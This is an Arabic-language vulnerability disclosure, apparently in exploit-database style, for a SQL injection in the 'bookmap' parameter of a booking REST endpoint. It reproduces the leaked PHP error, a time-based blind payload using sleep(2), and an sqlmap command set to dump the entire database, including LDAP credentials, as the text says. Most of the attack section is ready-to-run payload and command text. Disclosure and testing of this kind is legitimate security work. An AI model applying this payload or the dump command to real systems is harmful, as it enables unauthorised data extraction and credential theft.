
الوصف:
الثغرة المكتشفة هي حقن SQL. المعامل bookmap معرّض للثغرة. عند زيارة الصفحة: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test نحصل على استجابة JSON عادية. ولكن إذا تمت إضافة علامة اقتباس مفردة إلى قيمة المعامل bookmap نحصل على رسالة خطأ:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
الآن، إذا تمت إضافة علامتي اقتباس مفردتين، نحصل على الاستجابة العادية دون أي خطأ. هذا يؤكد وجود فرصة لحقن SQL. لإثبات حقن SQL فعلياً، نضيف الحمولة التالية:
'-(select*from(select+sleep(2)+from+dual)a)--+
ستنتظر الصفحة لمدة ثانيتين. هذا يؤكد حقن SQL.
خطوات إعادة الإنتاج:
أرسل الحمولة التالية لاختبار الثغرة: '-(select*from(select+sleep(2)+from+dual)a)--+
إذا انتظر الموقع لمدة ثانيتين، شغّل أمر sqlmap التالي لتفريغ قاعدة البيانات بالكامل بما في ذلك بيانات اعتماد ldap.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
شكر خاص إلى iCaotix الذي ساعدني كثيراً في إعداد البيئة وكذلك في تصحيح أخطاء الحمولة الخاصة بي.
انظر إلى وقت الاستجابة.
